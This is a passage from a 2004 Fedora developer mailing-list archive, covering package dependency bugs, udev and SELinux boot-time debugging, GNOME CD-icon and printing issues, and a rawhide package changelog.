redhat.com (Akira TAGOH) Date: Sat, 16 Oct 2004 10:23:13 +0900 (JST) Subject: FC3T3: iiimf-libs-devel gets installed but iiimf-libs doesn't In-Reply-To: <1097888001.3988.6.camel@tiger> References: <1097888001.3988.6.camel@tiger> Message-ID: <20041016.102313.213837599.tagoh@redhat.com> >>>>> On Fri, 15 Oct 2004 20:53:21 -0400, >>>>> "LG" == Louis Garcia wrote: LG> Just noticed while updating that iiimf-libs-devel is installed but not LG> iiimf-libs. Their are a few hanging symlinks in /usr/lib/im/lib. LG> Shouldn't the devel package depend on iiimf-libs? LG> Should I file a bug against im-sdk or anaconda? Thank you for filing a bug :) surely it should be required. and will be fixed in the next build. Thanks, -- Akira TAGOH From louisg00 at bellsouth.net Sat Oct 16 00:53:21 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Fri, 15 Oct 2004 20:53:21 -0400 Subject: FC3T3: iiimf-libs-devel gets installed but iiimf-libs doesn't Message-ID: <1097888001.3988.6.camel@tiger> Just noticed while updating that iiimf-libs-devel is installed but not iiimf-libs. Their are a few hanging symlinks in /usr/lib/im/lib. Shouldn't the devel package depend on iiimf-libs? Should I file a bug against im-sdk or anaconda? --Louis From notting at redhat.com Sat Oct 16 04:31:46 2004 From: notting at redhat.com (Bill Nottingham) Date: Sat, 16 Oct 2004 00:31:46 -0400 Subject: Fedora Core 3 Bug Status - 2004-10-16 Message-ID: <20041016043146.GA6241@nostromo.devel.redhat.com> Based on bug #123268 ('FC3Target') and bug #130887 ('FC3Blocker') 2004-10-16 Severity Total Closed Need Testing BLOCKER 122 96 ( 78.69 %) 12 ( 12.50 %) TARGET 916 501 ( 54.69 %) 52 ( 10.38 %) Overall 1038 597 ( 57.51 %) 64 ( 10.00 %) 2004-10-15 Severity Total Closed Need Testing BLOCKER 120 93 ( 77.50 %) 11 ( 11.83 %) TARGET 914 495 ( 54.16 %) 52 ( 10.51 %) Overall 1034 588 ( 56.87 %) 63 ( 10.00 %) 2004-10-14 Severity Total Closed Need Testing BLOCKER 117 90 ( 76.92 %) 16 ( 17.78 %) TARGET 923 484 ( 52.44 %) 56 ( 11.57 %) Overall 1040 574 ( 55.19 %) 72 ( 12.00 %) 2004-10-13 Severity Total Closed Need Testing BLOCKER 115 85 ( 73.91 %) 13 ( 15.29 %) TARGET 914 478 ( 52.30 %) 57 ( 11.92 %) Overall 1029 563 ( 54.71 %) 70 ( 12.00 %) 2004-10-11 Severity Total Closed Need Testing BLOCKER 105 78 ( 74.29 %) 10 ( 12.82 %) TARGET 892 438 ( 49.10 %) 49 ( 11.19 %) Overall 997 516 ( 51.76 %) 59 ( 11.00 %) 2004-09-30 Severity Total Closed Need Testing BLOCKER 90 67 ( 74.44 %) 11 ( 16.42 %) TARGET 831 374 ( 45.01 %) 45 ( 12.03 %) Overall 921 441 ( 47.88 %) 56 ( 12.00 %) 2004-09-23 Severity Total Closed Need Testing BLOCKER 74 43 ( 58.11 %) 9 ( 20.93 %) TARGET 703 286 ( 40.68 %) 38 ( 13.29 %) Overall 777 329 ( 42.34 %) 47 ( 14.00 %) 2004-09-08 Severity Total Closed Need Testing BLOCKER 35 14 ( 40.00 %) 3 ( 21.43 %) TARGET 591 194 ( 32.83 %) 33 ( 17.01 %) Overall 626 208 ( 33.23 %) 36 ( 17.00 %) 2004-08-18 Severity Total Closed Need Testing TARGET 415 61 ( 14.70 %) 16 ( 26.23 %) From helios82 at optushome.com.au Sat Oct 16 05:35:57 2004 From: helios82 at optushome.com.au (Matt Hansen) Date: Sat, 16 Oct 2004 15:35:57 +1000 Subject: rawhide report: 20041015 changes In-Reply-To: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> References: <200410151201.i9FC1Si23231@porkchop.devel.redhat.com> Message-ID: <1097904957.30023.4.camel@topaz.homenet.lan> On Fri, 2004-10-15 at 22:01, Build System wrote: > epiphany-1.4.4-3 > ---------------- > * Tue Oct 12 2004 Marco Pesenti Gritti - 1.4.4-3 > > - Remove generic name patch, epiphany is no more default Interesting; so what's the new default? Matt -- "Would you buy a car with the hood welded shut?" - Bob Young on the benefits of the open source development model. mhelios - www.fedoraforum.org -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From gauret at free.fr Sat Oct 16 09:06:39 2004 From: gauret at free.fr (Aurelien Bompard) Date: Sat, 16 Oct 2004 11:06:39 +0200 Subject: Devices and permissions References: <200410141611.42456.aportal@univ-montp2.fr> <416E89E5.5090405@redhat.com> Message-ID: Harald Hoyer wrote: > let the program run as user > put in group lp??and?uucp?in?/etc/group I think the program is a client application, not a server. Thus we can't really have it run as another user. I guess it's possible for a client application to use the serial ports, isn't it ? So how can we do that ? -- http://gauret.free.fr ~~~~ Jabber : gauret at amessage.info A: Because we read from top to bottom, left to right. Q: Why should i start my reply below the quoted text ? From russell at coker.com.au Sat Oct 16 09:26:04 2004 From: russell at coker.com.au (Russell Coker) Date: Sat, 16 Oct 2004 19:26:04 +1000 Subject: udev and proc files Message-ID: <200410161926.04735.russell@coker.com.au> A copy of bash which is spawned by udev attempts an ioctl access to /proc/ide/ide0/hda/media. This access doesn't do any harm, but possibly indicates some other problem, is bash supposed to be accessing that file? -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From russell at coker.com.au Sat Oct 16 09:44:01 2004 From: russell at coker.com.au (Russell Coker) Date: Sat, 16 Oct 2004 19:44:01 +1000 Subject: udev strangeness with latest rawhide Message-ID: <200410161944.02096.russell@coker.com.au> Running the latest rawhide I get AVC messages indicating that /bin/udev (not /sbin/udev) is running in kernel_t during the early stages of system boot. /bin/udev is the file name used in the initrd! So it seems that after the SE Linux policy is loaded (IE after /sbin/init has been run from the main root fs) there is still a copy of udev from the initrd being run. This seems to be a bug in initrd that could lead to inconsistent behaviour. I'm not sure how this comes about (and of course apart from SE Linux messages in the kernel message log all the evidence is gone by the time the system is ready to login). Any suggestions on how to debug this? -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From feliciano.matias at free.fr Sat Oct 16 09:48:07 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 16 Oct 2004 11:48:07 +0200 Subject: udev and proc files In-Reply-To: <200410161926.04735.russell@coker.com.au> References: <200410161926.04735.russell@coker.com.au> Message-ID: <1097920087.20378.20.camel@localhost.localdomain> Le samedi 16 octobre 2004 ? 19:26 +1000, Russell Coker a ?crit : > A copy of bash which is spawned by udev attempts an ioctl access > to /proc/ide/ide0/hda/media. This access doesn't do any harm, but possibly > indicates some other problem, is bash supposed to be accessing that file? > Perhaps : /etc/udev/rules.d/50-udev.rules KERNEL="hd[a-z]", PROGRAM="/bin/cat /proc/ide/%k/media", RESULT="cdrom", SYMLINK="cdrom%e" KERNEL="hd[a-z]", PROGRAM="/bin/cat /proc/ide/%k/media", RESULT="floppy", SYMLINK="floppy%e ... KERNEL="hd[a-z]", PROGRAM="/etc/udev/scripts/check-cdrom.sh %k DVD", SYMLINK="dvd%e" ... -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From feliciano.matias at free.fr Sat Oct 16 10:41:12 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 16 Oct 2004 12:41:12 +0200 Subject: udev strangeness with latest rawhide In-Reply-To: <200410161944.02096.russell@coker.com.au> References: <200410161944.02096.russell@coker.com.au> Message-ID: <1097923272.20378.35.camel@localhost.localdomain> Le samedi 16 octobre 2004 ? 19:44 +1000, Russell Coker a ?crit : > Running the latest rawhide I get AVC messages indicating that /bin/udev > (not /sbin/udev) is running in kernel_t during the early stages of system > boot. > > /bin/udev is the file name used in the initrd! $ zcat /boot/initrd-2.6.8-1.624.img | cpio -iv -m -d $ ll -d bin sbin drwxr-xr-x 2 root root 4096 oct 16 11:50 bin lrwxrwxrwx 1 root root 3 oct 16 11:50 sbin -> bin $ ll bin/udev -rwxr-xr-x 1 root root 557808 oct 15 18:05 bin/udev > So it seems that after the SE > Linux policy is loaded (IE after /sbin/init has been run from the main root > fs) there is still a copy of udev from the initrd being run. There are some sleep() in udev. hotplug/udev/... are launched in background. Modprobe/insmod can return even if udev has not finished its job. $ grep insmod init insmod /lib/raid0.ko insmod /lib/jbd.ko insmod /lib/ext3.ko It's how I understand hotplug/udev. > This seems to > be a bug in initrd that could lead to inconsistent behaviour. I'm not sure > how this comes about (and of course apart from SE Linux messages in the > kernel message log all the evidence is gone by the time the system is ready > to login). > > Any suggestions on how to debug this? > > -- > http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages > http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark > http://www.coker.com.au/postal/ Postal SMTP/POP benchmark > http://www.coker.com.au/~russell/ My home page > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From russell at coker.com.au Sat Oct 16 11:18:25 2004 From: russell at coker.com.au (Russell Coker) Date: Sat, 16 Oct 2004 21:18:25 +1000 Subject: udev and proc files In-Reply-To: <1097920087.20378.20.camel@localhost.localdomain> References: <200410161926.04735.russell@coker.com.au> <1097920087.20378.20.camel@localhost.localdomain> Message-ID: <200410162118.25492.russell@coker.com.au> On Sat, 16 Oct 2004 19:48, Matias F?liciano wrote: > Le samedi 16 octobre 2004 ? 19:26 +1000, Russell Coker a ?crit : > > A copy of bash which is spawned by udev attempts an ioctl access > > to /proc/ide/ide0/hda/media. This access doesn't do any harm, but > > possibly indicates some other problem, is bash supposed to be accessing > > that file? > > Perhaps : > /etc/udev/rules.d/50-udev.rules > KERNEL="hd[a-z]", PROGRAM="/bin/cat /proc/ide/%k/media", > RESULT="cdrom", SYMLINK="cdrom%e" KERNEL="hd[a-z]", PROGRAM="/bin/cat > /proc/ide/%k/media", RESULT="floppy", SYMLINK="floppy%e ... Those two should not be related to it, only "cat" is opening the file not "bash". > KERNEL="hd[a-z]", PROGRAM="/etc/udev/scripts/check-cdrom.sh %k > DVD", SYMLINK="dvd%e" ... I have difficulty in working out what that script does, but it doesn't seem to be opening the media file. Also on my system the CD-ROM is /dev/hdc so a cd-rom script isn't expected to access anything related to /dev/hda. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From buildsys at redhat.com Sat Oct 16 11:49:32 2004 From: buildsys at redhat.com (Build System) Date: Sat, 16 Oct 2004 07:49:32 -0400 Subject: rawhide report: 20041016 changes Message-ID: <200410161149.i9GBnWp22519@porkchop.devel.redhat.com> Updated Packages: HelixPlayer-1.0.1.gold-6 ------------------------ * Fri Oct 15 2004 Colin Walters 1:1.0.1.gold-6 - Require libbluecurve.so to fix 135709, since it apparently cannot be done in comps at this point. * Fri Oct 15 2004 Colin Walters 1:1.0.1.gold-5 - Ok, we can not Requires: redhat-artwork.i386. Reassigning 135709 to comps. * Thu Oct 14 2004 Colin Walters 1:1.0.1.gold-4 - Pull in 32-bit redhat-artwork on x86_64 (135709) - Rename hxplay.desktop to realplay.desktop, in order to set default mime handlers for realplay.desktop, until we get multiple application support in defaults.list (135705) NetworkManager-0.3-1 -------------------- * Fri Oct 15 2004 Dan Williams 0.3-1 - Update from CVS, version 0.3 arts-1.3.0-4 ------------ * Wed Sep 15 2004 Than Ngo 1.3.0-4 - fix multilib problem #132576 * Fri Sep 03 2004 Colin Walters 1.3.0-3 - Fix trivial conflict in glib patch and reapply; this removes dependency on glib2.0 and therefore prevents symbol clashes with applications loading arts still using glib 1.2, like XMMS. * Mon Aug 23 2004 Than Ngo 1.3.0-2 - add missing epoch tag authconfig-4.6.5-2 ------------------ * Fri Oct 15 2004 Tomas Mraz - force restart of autofs on firstboot call when using NIS (#133035, #124498) * Thu Oct 07 2004 Tomas Mraz - require python to install (#134654) authd-1.4.2-8 ------------- * Fri Oct 15 2004 Adrian Havill - 1.4.2-8 - tweak setting of uid/gid for key file so systems with no prior ident user/group don't generate a warning (#135837) autofs-4.1.3-28 --------------- * Fri Oct 15 2004 Chris Feist - 1:4.1.3-28 - Fixed a bug which caused directories to never be unmounted. * Thu Oct 14 2004 Chris Feist - 1:4.1.3-27 - Fixed an error in the init script which caused duplicate entries to be displayed when asking for autofs status. desktop-printing-0.17-2 ----------------------- * Fri Oct 15 2004 Colin Walters 0.17-2 - Backport patches from CVS: - eggcups-int-gsize.patch (fixes type conflict on x86_64) - eggcups-no-help.patch (rh bug 135919) eel2-2.8.1-2 ------------ * Fri Oct 15 2004 Alexander Larsson - 2.8.1-2 - Fix crash on extensionless files (#135858) firstboot-1.3.31-1 ------------------ * Fri Oct 15 2004 Adrian Likins - 1.3.30-1 - merge some updates from rhel3 branch - try enabling tui stuff again gnome-panel-2.8.1-2 ------------------- * Fri Oct 15 2004 Matthias Clasen - Make dropping non-ASCII uris work. (#135874) gnome-pilot-2.0.12-4 -------------------- * Fri Oct 15 2004 David Malcolm - 2.0.12-4 - use a higher-res icon for the panel applet (bz #135897) gpdf-2.8.0-4 ------------ * Fri Oct 15 2004 Marco Pesenti Gritti 2.8.0-4 - rebuilt hal-0.4.0-3 ----------- * Fri Oct 15 2004 David Zeuthen 0.4.0-3 - Fix bad use of O_NONBLOCK as the 2.6.8-1.624 kernel exposes this (#135886) - Never use the UUID as mount point candidate in the default policy as it is unfriendly (#135907) - Fix a trivial bug in fstab-sync so the syslog messages actually expose the device name instead of just the word foo httpd-2.0.52-3 -------------- * Tue Sep 28 2004 Joe Orton 2.0.52-3 - add dummy connection address fixes from HEAD - mod_ssl: add security fix for CAN-2004-0885 im-sdk-12.0.1-17.svn1994 ------------------------ * Fri Oct 15 2004 Akira TAGOH - 1:12.0.1-17.svn1994 - iiimsf-fix-missing-sockdir.patch: fixed not working at all if /var/run/iiim/.iiimp-unix or whatever is missing. (#135750) - iiimsf-improve-segv-log.patch: improved the log messages. (Warren Togami) kdelibs-3.3.0-5 --------------- * Wed Sep 29 2004 Than Ngo 6:3.3.0-5 - add missing requires on libidn-devel * Sun Sep 26 2004 Than Ngo 6:3.3.0-4 - cleanup menu * Mon Sep 20 2004 Than Ngo 3.3.0-3 - fix a bug in ksslopen #114835 mailman-2.1.5-25 ---------------- * Thu Oct 14 2004 John Dennis 3:2.1.5-24 - more FHS changes, matches with new SELinux security policy * Wed Sep 29 2004 John Dennis 3:2.1.5-21 - move list data dir to /var/lib/mailman to conform to FHS move lock dir to /var/lock/mailman to conform to FHS move config dir (VAR_PREFIX/data) to /etc/mailman to conform to FHS Thanks to Matt Domsch for pointing this out. mc-4.6.1-0.7 ------------ * Fri Oct 15 2004 Jindrich Novy 4.6.4-0.7 - update from CVS - sync strippwd patch with upstream - merged hp48.in patch to extfs patch (from Leonard den Ottolander) - rebuilt * Fri Oct 08 2004 Jindrich Novy 4.6.1-0.6 - update from CVS - drop upstreamed vcsa and xtermaliases patches - sync the rest of the patches with upstream - update strippwd patch to eliminate passwords from dir hotlist and chdir error messages - update perl scripts (Leonard den Ottolander, #127973, CAN-2004-0494) mkinitrd-4.1.17-1 ----------------- * Fri Oct 15 2004 Jeremy Katz - 4.1.17-1 - run udevstart again instead of sleeping, this will ensure all devices are created in all cases after modules have been loaded (thanks to notting) * Fri Oct 15 2004 Jeremy Katz - 4.1.16-1 - mkinitrd: Sleep briefly to let udev finish creating devices nautilus-2.8.1-3 ---------------- * Fri Oct 15 2004 Alexander Larsson - 2.8.1-3 - Slightly less bad error dialog when there is no handler for a file. Not ideal, but this change doesn't change any strings. * Tue Oct 12 2004 Alexander Larsson - 2.8.1-2 - Fix open with menu on mime mismatch - Create desktop links ending with .desktop (#125104) - Remove old cruft from specfile * Mon Oct 11 2004 Alexander Larsson - 2.8.1-1 - update to 2.8.1 net-snmp-5.1.2-11 ----------------- * Fri Oct 15 2004 Radek Vokal 5.1.2-11 - Logrotate support added (#125004) * Thu Oct 14 2004 Phil Knirsch 5.1.2-10 - Extended the libwrap and bsdcompat patches * Mon Oct 11 2004 Phil Knirsch 5.1.2-9 - Droped obsolete lm-sensors patch and enabled lmSensors module - Marked several patches to be removed for 5.1.3 newt-0.51.6-5 ------------- * Fri Oct 15 2004 Adrian Havill 0.51.6-5 - only do gpmclose if gpmopen succeeed (#118530) oprofile-0.8.1-11 ----------------- * Fri Oct 15 2004 Will Cohen - Additional ppc64 support for ppc64/970. parted-1.6.15-4 --------------- * Fri Oct 15 2004 Phil Knirsch 1.6.15-4 - Fixed dasd patch (had some duplicate file patches in it) - Fixed problem with parted segfaulting on SCSI discs on s390 (#133997) postfix-2.1.5-2.1 ----------------- * Fri Oct 15 2004 Thomas Woerner 2:2.1.5-2.1 - removed aliases from postfix-files (#135840) - fixed postalias call in init script rhgb-0.14.1-1 ------------- * Wed Oct 13 2004 Daniel Veillard 0.14.1 - try to fix the DRI problem in conjunction with x.org update - update languages - fix for #134742 rhn-applet-2.1.15-2 ------------------- * Tue Oct 12 2004 Adrian Likins 2.1.14-1 - fix #135392 - fix #135092 * Fri Oct 08 2004 Adrian Likins 2.1.13-1 - the last change broke normal remind cases #135092 * Tue Oct 05 2004 Adrian Likins 2.1.12-1 - be a bit more accurate about folks we remind to register, this time including registered, but not currently entitled systems - add server capabilities support to the applet rp-pppoe-3.5-22 --------------- * Fri Oct 15 2004 Than Ngo 3.5-22 - Fix ip conflict in dsl connect, #135012 rpm-4.3.2-13 ------------ * Fri Oct 15 2004 Jeff Johnson 4.3.2-13 - fix: don't set handler if SIG_IGN is already set (#134474). rpmdb-fedora-2.92-0.20041016 ---------------------------- shadow-utils-4.0.3-35 --------------------- * Fri Oct 15 2004 Adrian Havill 2:4.0.3-35 - make the limit for the group name the same as the username (determined by the header files, rather than a constant) (#56850) squirrelmail-1.4.3a-5 --------------------- * Thu Oct 14 2004 Warren Togami 1.4.3a-5 - default_folder_prefix dovecot compatible by default /etc/squirrelmail/config_local.php if you must change it * Wed Oct 13 2004 Warren Togami 1.4.3a-4 - HIGASHIYAMA Masato's patch to improve Japanese support (coordinated by Scott A. Hughes). - real 1.4.3a tarball system-config-securitylevel-1.4.12-1 ------------------------------------ * Fri Oct 15 2004 Dan Walsh 1.4.12-1 - Fix crash on badly formed /etc/selinux/config files tcl-8.4.7-2 ----------- * Fri Oct 15 2004 Jens Petersen - 8.4.7-2 - improve tcl8.3.5-tclConfig-package-path-90160.patch to look in libdir in addition to datadir for packages, so that tclsh can load binary packages in lib64 (135310) * Fri Jul 30 2004 Jens Petersen - 8.4.7-1 - update to 8.4.7 - replace tcl-8.4.5-no_rpath.patch by tcl-8.4-no_rpath.patch - replace tcl-8.4.5-autoconf.patch by tcl-8.4-autoconf.patch - no longer obsolete itcl * Tue Jun 15 2004 Elliot Lee - rebuilt udev-038-2 ---------- * Fri Oct 15 2004 Harald Hoyer - 038-2 - par[0-9] is now a symlink to lp - MAKEDEV the parport devices - now conflicts with older initscripts vixie-cron-4.1-19 ----------------- * Fri Oct 15 2004 Jason Vas Dias - 4.1-19 - crontab -e should only strip NHEADER_LINES comments - (NHEADER_LINES==0), not at least one header comment line. - (bug 135845) * Sat Oct 09 2004 Florian La Roche - 4.1-18 - no need to make user installed crontabs readable * Thu Sep 30 2004 Jason Vas Dias - 4.1-17 - Users not allowed to use 'crontab mycrontab', while - 'crontab < mycrontab' allowed; this is because misc.c's - swap_uids_back() was not using save_euid / save_egid . - Thanks to Mads Martin Joergensen for pointing this out. vte-0.11.11-6 ------------- * Fri Oct 15 2004 Matthias Clasen 0.11.11-6 - Fix a crash with input methods. (#131226) ypbind-1.17.2-3 --------------- * Fri Oct 15 2004 Steve Dickson - Sped up the ypbind initscript by using fgrep instead of grep (bz# 81247) From feliciano.matias at free.fr Sat Oct 16 12:04:56 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 16 Oct 2004 14:04:56 +0200 Subject: udev and proc files In-Reply-To: <200410161926.04735.russell@coker.com.au> References: <200410161926.04735.russell@coker.com.au> Message-ID: <1097928296.20378.43.camel@localhost.localdomain> Le samedi 16 octobre 2004 ? 19:26 +1000, Russell Coker a ?crit : > A copy of bash which is spawned by udev attempts an ioctl access > to /proc/ide/ide0/hda/media. This access doesn't do any harm, but possibly > indicates some other problem, is bash supposed to be accessing that file? from /sbin/start_udev : ide_scan() { if [ ! -d /proc/ide ]; then return 1 fi for i in /proc/ide/*/media; do read media < "$i" case "$media" in disk) module=ide-disk ;; (snip) esac /sbin/modprobe $module done return 0 } /sbin/start_udev is run once at boot time. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From fedora-devel at camperquake.de Sat Oct 16 12:52:32 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Sat, 16 Oct 2004 14:52:32 +0200 Subject: GNOME Desktop CD icon weirdness Message-ID: <20041016145232.22733fb1@nausicaa.camperquake.de> Hi. I'm asking here since I do not know against which component to file a bug. I've disabled all automatic CD mounting/playing/ejecting/whatever features in gnome. Nonetheless gnome puts a "Blank CD" icon on my desktop whenever I insert a blank CD in a writer. OK, I can live with that. I am using k3b to write the CDs. When k3b is finished (and closed), the CD in the drive is no more a blank CD. Nonetheless the icon persists. I can even mount the just written CD in the burner (without taking it out). The mount will succeed, but the "blank CD" icon is still there. Normally mounting a CD will cause a new icon to pop up on the desktop, but this does not happen (gnome seems to know that there already is an icon for this drive). Clicking on the "blank CD" icon reveals an empty window, offering me to add files to the no longer existant blank disk.s Removing the disk from the drive causes the icon to disappear. Where do I file this? -- /* Sun, you just can't beat me, you just can't. Stop trying, * give up. I'm serious, I am going to kick the living shit * out of you, game over, lights out. */ -- linux-2.4.21-pre1/arch/sparc/lib/checksum.S (2.4.21) From johnp at redhat.com Sat Oct 16 13:45:01 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Sat, 16 Oct 2004 09:45:01 -0400 Subject: GNOME Desktop CD icon weirdness In-Reply-To: <20041016145232.22733fb1@nausicaa.camperquake.de> References: <20041016145232.22733fb1@nausicaa.camperquake.de> Message-ID: <1097934301.21042.0.camel@localhost.localdomain> On Sat, 2004-10-16 at 08:52, Ralf Ertzinger wrote: > Hi. > > I'm asking here since I do not know against which component to file a bug. > > I've disabled all automatic CD mounting/playing/ejecting/whatever features > in gnome. Nonetheless gnome puts a "Blank CD" icon on my desktop whenever I > insert a blank CD in a writer. OK, I can live with that. > > I am using k3b to write the CDs. When k3b is finished (and closed), the CD > in the drive is no more a blank CD. Nonetheless the icon persists. I can > even mount the just written CD in the burner (without taking it out). The > mount will succeed, but the "blank CD" icon is still there. Normally mounting > a CD will cause a new icon to pop up on the desktop, but this does not happen > (gnome seems to know that there already is an icon for this drive). Clicking > on the "blank CD" icon reveals an empty window, offering me to add files to > the no longer existant blank disk.s > > Removing the disk from the drive causes the icon to disappear. > > Where do I file this? That would be a gnome-vfs bug. Thanks. -- J5 From rodd at clarkson.id.au Sat Oct 16 14:02:42 2004 From: rodd at clarkson.id.au (Rodd Clarkson) Date: Sun, 17 Oct 2004 00:02:42 +1000 Subject: GNOME Desktop CD icon weirdness In-Reply-To: <20041016145232.22733fb1@nausicaa.camperquake.de> References: <20041016145232.22733fb1@nausicaa.camperquake.de> Message-ID: <1097935362.7883.0.camel@localhost.localdomain> > Where do I file this? I've already filed a bug report about this here: http://bugzilla.gnome.org/show_bug.cgi?id=155236 Rodd -- >From the pain come the dream >From the dream come the vision >From the vision come the people >From the people come the power >From this power come the change - Peter Gabriel From gemi at bluewin.ch Sat Oct 16 14:08:57 2004 From: gemi at bluewin.ch (=?ISO-8859-1?Q?G=E9rard?= Milmeister) Date: Sat, 16 Oct 2004 16:08:57 +0200 Subject: CUPS and gnome Message-ID: <1097935737.14431.4.camel@scriabin.tannenrauch.ch> I recently bought an Epson 1290 Photo printer, which has a lot of options in CUPS. However, apart from GIMP (which is GTK2, not gnome), gnome programs don't offer any of these options in their print dialogs. So they have to be set externally. There are several possibilities: 1. Using system-config-printer or localhost:631, both of which require root privileges. 2. Using lpoptions. 3. Using kprinter. Clearly option 3 is the most user-friendly. However kprinter is a KDE program, so it takes time to start in a gnome environment. Are there plans to implement a gnome analog of kprinter and integrate complete CUPS support for gnome programs? -- G?rard Milmeister Langackerstrasse 49 8057 Z?rich gemi at bluewin.ch From russell at coker.com.au Sat Oct 16 14:09:58 2004 From: russell at coker.com.au (Russell Coker) Date: Sun, 17 Oct 2004 00:09:58 +1000 Subject: udev and proc files In-Reply-To: <1097928296.20378.43.camel@localhost.localdomain> References: <200410161926.04735.russell@coker.com.au> <1097928296.20378.43.camel@localhost.localdomain> Message-ID: <200410170009.59091.russell@coker.com.au> On Sat, 16 Oct 2004 22:04, Matias F?liciano wrote: > from /sbin/start_udev : > ide_scan() { > if [ ! -d /proc/ide ]; then > return 1 > fi > for i in /proc/ide/*/media; do [...] > /sbin/start_udev is run once at boot time. Thanks for that. I'll change the policy to allow the ioctl. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From stuart.jansen at gmail.com Sat Oct 16 15:20:21 2004 From: stuart.jansen at gmail.com (Stuart Jansen) Date: Sat, 16 Oct 2004 09:20:21 -0600 Subject: CUPS and gnome In-Reply-To: <1097935737.14431.4.camel@scriabin.tannenrauch.ch> References: <1097935737.14431.4.camel@scriabin.tannenrauch.ch> Message-ID: <56de22f504101608202a638efd@mail.gmail.com> On Sat, 16 Oct 2004 16:08:57 +0200, G?rard Milmeister wrote: > Are there plans to implement a gnome analog of kprinter and integrate > complete CUPS support for gnome programs? I'm new here, so I don't know if the fedora project has an plans to do so, but this would probably be a better question to ask on one of the Gnome development lists. -- Stuart Jansen "The gods do not protect fools. Fools are protected by more capable fools." - Larry Niven, Ringworld From train at voicenet.com Sat Oct 16 15:23:20 2004 From: train at voicenet.com (Herbert Rutledge) Date: Sat, 16 Oct 2004 11:23:20 -0400 Subject: rawhide report: 20041016 changes In-Reply-To: <200410161149.i9GBnWp22519@porkchop.devel.redhat.com> References: <200410161149.i9GBnWp22519@porkchop.devel.redhat.com> Message-ID: <1097940200.4240.2.camel@trilon> On Sat, 2004-10-16 at 07:49 -0400, Build System wrote: > rhgb-0.14.1-1 > ------------- > * Wed Oct 13 2004 Daniel Veillard 0.14.1 > > - try to fix the DRI problem in conjunction with x.org update It seems to have done the trick. Boots up with direct rendering enabled for a Radeon video card. -train From jspaleta at gmail.com Sat Oct 16 16:04:17 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Sat, 16 Oct 2004 12:04:17 -0400 Subject: CUPS and gnome In-Reply-To: <1097935737.14431.4.camel@scriabin.tannenrauch.ch> References: <1097935737.14431.4.camel@scriabin.tannenrauch.ch> Message-ID: <604aa791041016090423ab9c82@mail.gmail.com> On Sat, 16 Oct 2004 16:08:57 +0200, G?rard Milmeister wrote: > I recently bought an Epson 1290 Photo printer, which has a lot of > options in CUPS. However, apart from GIMP (which is GTK2, not gnome), > gnome programs don't offer any of these options in their print dialogs. Uhm.... i'm pretty sure a number of the gnome applications are using a new printer dialog now. Not all of them, so there is some eye poking to do regarding specific applications. gedit and gnumeric in Fedora Core development at the moment use the new print dialog. gpdf does not. So find the gnome applications that aren't using the dialog and go upstream to gnome's bugzilla and file bugs if they haven't already been filed. > So they have to be set externally. There are several possibilities: > 1. Using system-config-printer or localhost:631, both of which require > root privileges. > 2. Using lpoptions. > 3. Using kprinter. For applications in core that are not cups aware, like xpdf... fedora core has introduced a little application called gnome-default-printer. It doesn't do much beyond setting a default printer to use at the moment. But this certainly could be a path forward to exposing printer settings to all 'legacy' applications that won't be made cups aware. But for the gnome applications themselves...all gnome applications should be moving to the newer printer dialog that gedit and gnumeric as using. Have fun filing those bugs upstream in gnome's bugzilla. -jef From kyrre at solution-forge.net Sat Oct 16 17:57:50 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sat, 16 Oct 2004 19:57:50 +0200 Subject: What's up with norwegian translation of Fc3-t3? And gnome? In-Reply-To: <20041015215603.GA5357@nostromo.devel.redhat.com> References: <1097876794.4252.33.camel@kyrre> <20041015215603.GA5357@nostromo.devel.redhat.com> Message-ID: <1097949470.2859.0.camel@kyrre> Okay. How much do i have to update? i update gnome-* right now (and ran into a bug in yum at the same time... Seth?) - is this enough? Or what more do i need? fre, 15.10.2004 kl. 23.56 skrev Bill Nottingham: > Kyrre Ness Sjobak (kyrre at solution-forge.net) said: > > So i install fc3t3. Select "norvegian" from anacondas list, and next > > next next etc. > > It's a bug. Please test rawhide if you can get it... this should > be fixed there. > > Bill From skvidal at phy.duke.edu Sat Oct 16 18:28:44 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sat, 16 Oct 2004 14:28:44 -0400 Subject: What's up with norwegian translation of Fc3-t3? And gnome? In-Reply-To: <1097949470.2859.0.camel@kyrre> References: <1097876794.4252.33.camel@kyrre> <20041015215603.GA5357@nostromo.devel.redhat.com> <1097949470.2859.0.camel@kyrre> 